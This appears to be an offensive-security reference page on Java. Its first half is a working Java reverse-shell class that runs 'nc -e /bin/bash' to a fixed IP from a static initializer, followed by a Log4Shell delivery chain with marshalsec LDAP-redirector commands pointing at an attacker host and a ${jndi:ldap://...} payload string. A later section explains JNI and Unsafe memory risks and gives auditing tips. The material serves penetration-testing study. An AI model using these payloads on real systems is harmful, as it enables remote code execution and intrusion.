Java
Java is a general-purpose, garbage-collected language whose code compiles to bytecode that runs on the Java Virtual Machine (JVM). For offensive security it matters on two axes: as a payload language (reverse shells, deserialization gadgets, JNDI injection such as Log4Shell) and as an attack surface (exposed services like RMI, covered in java-rmi-exploitation).
Reverse shell
A minimal Java reverse shell executes from a static initializer, so it fires as soon as the class is loaded (e.g. via JNDI remote classloading). On targets with a netcat build that supports -e:
public class Exploit {
static {
try {
java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 1.2.3.4 9999");
} catch (Exception e) {
e.printStackTrace();
}
}
}Runtime.getRuntime().exec() is the standard JDK API for spawning an OS process (Runtime.exec javadoc). Compile with a source/target level matching the victim’s JVM:
javac Exploit.java -source 8 -target 8As with all things Java, the file name and the public class name must match.
Log4Shell delivery chain
Delivery through a vulnerable Log4j version is a four-step chain: malicious ${jndi:...} string → LDAP lookup → load Java bytecode over HTTP → reverse shell. Moritz Bechler’s marshalsec provides a JNDI reference redirector:
mvn clean package -DskipTests
java -cp target/marshalsec-*-all.jar \
marshalsec.jndi.LDAPRefServer \
"http://$ATTACKER_IP:$ATTACKER_PORT/#Exploit"Serve the compiled Exploit.class from a plain HTTP server, run a listener, and land the string ${jndi:ldap://1.2.3.4:1389/Exploit} anywhere it gets logged. marshalsec supports protocols beyond LDAP (RMI, DNS, etc.).
Memory safety and buffer overflows
Classic buffer overflows — writing past the end of a fixed-size buffer, corrupting adjacent memory (OWASP: Buffer Overflow; CWE-120) — basically aren’t a thing in pure Java. The JVM enforces bounds checking on every array access (throwing ArrayIndexOutOfBoundsException instead of corrupting memory), manages object lifetimes with a garbage collector, and gives programs no raw pointer arithmetic. The bug class is designed out of the language.
That guarantee evaporates the moment execution leaves the JVM, through two doors:
- JNI (Java Native Interface). Native libraries are loaded with
System.loadLibrary()(javadoc) and native methods are declared with thenativekeyword (JNI specification). JNI code is ordinary C/C++: no bounds checks, full pointer arithmetic, and it shares the JVM process’s address space. A buffer overflow in a JNI library compromises the entire JVM — the memory-safety perimeter ends at the native boundary. sun.misc.Unsafe/ FFM API.Unsafeexposes raw memory operations (allocateMemory,putAddress, …) with no checking; misuse corrupts the heap exactly like a C bug. The newer Foreign Function & Memory API (JEP 454, finalized in JDK 22) is the supported successor and carries the same caveat.
When auditing a Java application for memory-corruption issues, System.loadLibrary(, System.load(, the native keyword, and sun.misc.Unsafe are the strings to grep for — pure bytecode below the JNI line can be treated as memory-safe.
For debugging native crashes and overflow analysis on the other side of that boundary, see gdb. Compare php, where the interpreter itself is C and historically passed user input straight into C string functions (poison-null-byte-attack).
Sources
- Oracle — Java Native Interface Specification (Java SE 8)
- Oracle — System.loadLibrary() (Java SE 8 javadoc)
- Oracle — Runtime.exec() (Java SE 8 javadoc)
- OWASP — Buffer Overflow
- MITRE — CWE-120: Buffer Copy without Checking Size of Input (Classic Buffer Overflow)
- mbechler/marshalsec on GitHub — Java Unmarshaller Security
Related: java-rmi-exploitation, php, gdb, netcat, poison-null-byte-attack